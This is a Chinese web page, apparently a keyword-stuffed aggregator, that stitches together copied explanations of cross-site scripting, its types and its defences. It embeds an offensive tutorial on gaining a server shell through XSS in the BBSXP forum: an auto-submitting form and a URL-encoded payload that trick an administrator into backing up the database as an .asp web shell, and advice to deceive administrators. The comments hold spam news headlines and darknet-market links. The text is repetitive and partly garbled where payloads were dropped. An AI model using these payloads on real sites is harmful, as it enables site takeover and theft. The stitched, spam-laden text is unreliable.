关于xss828xss的信息

今日新闻 2022年05月30日
本文导读目录:

什么是xss攻击?

一、什么是跨站脚本攻击

跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。通常将跨站脚本攻击缩写为XSS。

跨站脚本攻击(XSS),是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。

二、跨站脚本攻击的种类

从攻击代码的工作方式可以分为三个类型:

1、持久型跨站:最直接的危害类型,跨站代码存储在服务器(数据库)。

2、非持久型跨站:反射型跨站脚本漏洞,最普遍的类型。用户访问服务器-跨站链接-返回跨站代码。

3、DOM跨站(DOM XSS):DOM(document object model文档对象模型),客户端脚本处理逻辑导致的安全问题。

三、跨站脚本攻击的手段和目的

常用的XSS攻击手段和目的有:

1、盗用cookie,获取敏感信息。

2、利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。

3、利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。

4、利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。

5、在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果。

四、跨站脚本攻击的防御

XSS攻击主要是由程序漏洞造成的,要完全防止XSS安全漏洞主要依靠程序员较高的编程能力和安全意识,当然安全的软件开发流程及其他一些编程安全原则也可以大大减少XSS安全漏洞的发生。这些防范XSS漏洞原则包括:

1、不信任用户提交的任何内容,对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、REFER、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。尽量采用POST而非GET提交表单;对“”,“”,“;”,“””等字符做过滤;任何内容输出到页面之前都必须加以en-code,避免不小心把htmltag显示出来。

2、实现Session 标记(session tokens)、CAPTCHA(验证码)系统或者HTTP引用头检查,以防功能被第三方网站所执行,对于用户提交信息的中的img等link,检查是否有重定向回本站、不是真的图片等可疑操作。

3、cookie 防盗。避免直接在cookie中泄露用户隐私,例如email、密码,等等;通过使cookie和系统IP绑定来降低cookie泄露后的危险。这样攻击者得到的cookie没有实际价值,很难拿来直接进行重放攻击。

4、确认接收的内容被妥善地规范化,仅包含最小的、安全的Tag(没有JavaScript),去掉任何对远程内容的引用(尤其是样式表和JavaScript),使用HTTPonly的cookie。

xss什么意思

xss

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

什么是XSS攻击

什么是XSS攻击XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常忽略其危害性。而本文主要讲的是利用XSS得到目标服务器的shell。技术虽然是老技术,但是其思路希望对大家有帮助。 [编辑本段]如何寻找XSS漏洞就个人而言,我把XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。

然后利用下面的技术得到一个shell. [编辑本段]如何利用传统的跨站利用方式一般都是攻击者先构造一个跨站网页,然后在另一空间里放一个收集cookie的页面,接着结合其它技术让用户打开跨站页面以盗取用户的cookie,以便进一步的攻击。个人认为这种方式太过于落后,对于弊端大家可能都知道,因为即便你收集到了cookie你也未必能进一步渗透进去,多数的cookie里面的密码都是经过加密的,如果想要cookie欺骗的话,同样也要受到其它的条件的限约。而本文提出的另一种思路,则从一定程度上解决上述的问题。对于个人而言,比较成熟的方法是通过跨站构造一个表单,表单的内容则为利用程序的备份功能或者加管理员等功能得到一个高权限。下面我将详细的介绍这种技术。 [编辑本段]来自内部的跨站攻击寻找跨站漏洞

如果有代码的话比较好办,我们主要看代码里对用户输入的地方和变量有没有做长度和对”〈”,”〉”,”;”,”’”等字符是否做过滤。还有要注意的是对于标签的闭合,像测试QQ群跨站漏洞的时候,你在标题处输入〈script〉alert(‘test’)〈/script〉,代码是不会被执行的,因为在源代码里,有其它的标签未闭合,如少了一个〈/script〉,这个时候,你只要闭合一个〈/script〉,代码就会执行,如:你在标题处输入〈/script〉〈script〉alert(‘test’)〈/script〉,这样就可以弹出一个test的框。

如何利用

我先以BBSXP为例,过程已做成动画,详情可见光盘中的动画。我举BBSXP中其中两个比较好用的跨站漏洞点为例.

a.先注册一个普通用户,我这里注册的用户是linzi.然后我们在个人签名里写入:

c.然后发个贴子,可以结合其它技术欺骗管理员浏览发的贴子。

d.因为是测试,所以我们以管理员身份登陆,然后打开贴子,我们会发现,linzi已经变成了社区区长工,如图一所示

除此之外我们只要在个人签名里输入

同样发个贴子等,只要管理员打开了,就会加了一个扩展名为asp (有空格)的上传扩展,这个时候,你只要上传一个newmm.asp (有空格)就可以得到一个shell.

上面的攻击多多少少有点局限性,虽然可以得到shell,但是隐蔽性不太好,因为签名

处受到了长度的限制,不能超过255个字符。我们可以结合flash跨站实现更为隐蔽的

攻击,对于flash木马的制作,下面见哥们丰初的介绍。

再利用如下:

修改一下个人头像的url,输入代码如下:

再接着欺骗管理员打开你的资料或者浏览你的贴子,当管理员打开后,会在后台自动加个php扩展名的后辍,因为bbsxp在个人头像url里过滤了空格,%,所以我们只能加个不包括空格的其它扩展,当然你也可以加个shtml的扩展,有了它你就可以用来查看源代码,然后进一步攻击。 [编辑本段]来自外部的跨站攻击有的时候,当我们对于目标程序找不到可以利用的跨站点,这个时候我们可以利用可以从外部入手,利用我们要拿下的是它的论坛,论坛的安全性做的很好,但其留言板却存在跨站漏洞,这个时候我们可以在留言板里写入跨站语句,跨站语句为以表单的方式向论坛提交提升权限的语句,如上面的bbsxp加asp 扩展的语句。当然我们可利用后台的备份功能直接得到一个shell。

例:先上传一个文件linzi.txt,内容如下:

〈body onload="javascript:document.forms[0].submit()"〉〈form

action=" http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf" method="post"〉〈input value="database/bbsxp.mdb" name="yl" 〉〈input value="database/shit.asp" name="bf" 〉〈/body〉〈/html〉

上面的代码是把论坛的数据库备份为shit.asp,留言板存在跨站点如下:

http://127.0.0.1/bbsxp/page2.asp?username=

我们构造备份跨站语句如下:

http://127.0.0.1/bbsxp/page2.asp?username=%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%22%6A%61%76%61%73%63%72%69%70%74%3A%64%6F%63%75%6D%65%6E%74%2E%66%6F%72%6D%73%5B%30%5D%2E%73%75%62%6D%69%74%28%29%22%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%22%68%74%74%70%3A%2F%2F%31%32%37%2E%30%2E%30%2E%31%2F%62%62%73%78%70%2F%61%64%6D%69%6E%5F%66%73%6F%2E%61%73%70%3F%6D%65%6E%75%3D%62%61%6B%62%66%22%20%6D%65%74%68%6F%64%3D%22%70%6F%73%74%22%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%62%62%73%78%70%2E%6D%64%62%22%20%6E%61%6D%65%3D%22%79%6C%22%20%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%73%68%69%74%2E%61%73%70%22%20%6E%61%6D%65%3D%22%62%66%22%20%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E

或者构造跨站语句,利用iframe打开一个0大小的linzi.txt。

当管理员打开后,会自动备份得到一个shell. [编辑本段]XSS与其它技术的结合从上面的实例,我们可以知道,如何欺骗管理打开是一个很重要的步骤,对于欺骗打开,除了社会工程学外,我们可以结合其它的技术,如sql injection.当我们渗透一个网站之时,主站mssql注入漏洞,权限为public,这个时候我们利用update构造跨站语句,如用iframe打开一个上面的备份得到shell的跨站语句等,同样,我们可以在社会工程学时,利用QQ的其它跨站漏洞等等。

总是对于欺骗也是一门艺术,具体怎么利用,大家就发挥自己的想象力吧!

好一个欺骗也是一门艺术,不管是在生活中还是在网络中。生活中难免有些事情不能讲真话,这时采用适当的方法使得我们的假话当作真话讲,这就靠欺骗的艺术了。

xss攻击类型包括那些?

从攻击代码的工作方式可以分为三个类型:

(1)持久型跨站:最直接的危害类型,跨站代码存储在服务器(数据库)。

(2)非持久型跨站:反射型跨站脚本漏洞,最普遍的类型。用户访问服务器-跨站链接-返回跨站代码。

(3)DOM跨站(DOM XSS):DOM(document object model文档对象模型),客户端脚本处理逻辑导致的安全问题。

基于DOM的XSS漏洞是指受害者端的网页脚本在修改本地页面DOM环境时未进行合理的处置,而使得攻击脚本被执行。在整个攻击过程中,服务器响应的页面并没有发生变化,引起客户端脚本执行结果差异的原因是对本地DOM的恶意篡改利用。

常用的XSS攻击手段和目的有:

1、盗用cookie,获取敏感信息。

2、利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。

3、利用iframe、frame、XMLHttpRequest或上述Flash等方式,以用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。

4、利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。

5、在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDos攻击的效果。

Xss是什么意思

xss:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。

XSS是什么

1、XSS是跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。

2、恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。

3、XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。

4、另一类则是来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当要渗透一个站点,自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。

XSS是指什么

恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。什么是XSS攻击XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常忽略其危害性。而本文主要讲的是利用XSS得到目标服务器的shell。技术虽然是老技术,但是其思路希望对大家有帮助。

关键词: xss828xss
我来说两句
黑客技术 2年前 (2022-05-30) | 回复
恶意攻击用户的特殊目的。3、XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。4、另一类则是来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当要渗透一个站
黑客技术 2年前 (2022-05-30) | 回复
里,有其它的标签未闭合,如少了一个〈/script〉,这个时候,你只要闭合一个〈/script〉,代码就会执行,如:你在标题处输入〈/script〉〈script〉alert(‘test’)〈/script
黑客技术 2年前 (2022-05-30) | 回复
ll。技术虽然是老技术,但是其思路希望对大家有帮助。 [编辑本段]如何寻找XSS漏洞就个人而言,我把XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。另一
黑客技术 2年前 (2022-05-30) | 回复
zi.txt,内容如下: 〈body onload="javascript:document.forms[0].submit()"〉〈form action=" http:
黑客技术 2年前 (2022-05-30) | 回复
域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。5、在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDos攻击的效果。Xss是什么意思xss:跨站脚本攻击(Cross
ggdboutlet 5个月前 (11-16) | 回复
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MichaelIsosy 10小时前 | 回复
As Mike Johnson tries to pass billions of dollars in aid to Ukraine, Israel and Taiwan, he’s having to put his own job on the line
blacksprut
Johnson moving ahead with Ukraine aid bill despite pressure from hardliners
US Senate kills articles of impeachment against Homeland Security Secretary Alejandro Mayorkas
Ex-Trump attorney asked if he thinks Trump should testify. Hear reply 1:29
https://bs-gl.org
Analysis Some House Republicans need this reminder that Russia is not their friend
Viewers called in with Trump trial questions. Maggie Haberman answered 1:50
If Trump testifies at NY criminal trial, prosecutors want to use his past legal run-ins to discredit him to jury
Fact check: Donald Trump attacks Jimmy Kimmel for something Al Pacino did
blacksprut
https://bs-gl.org
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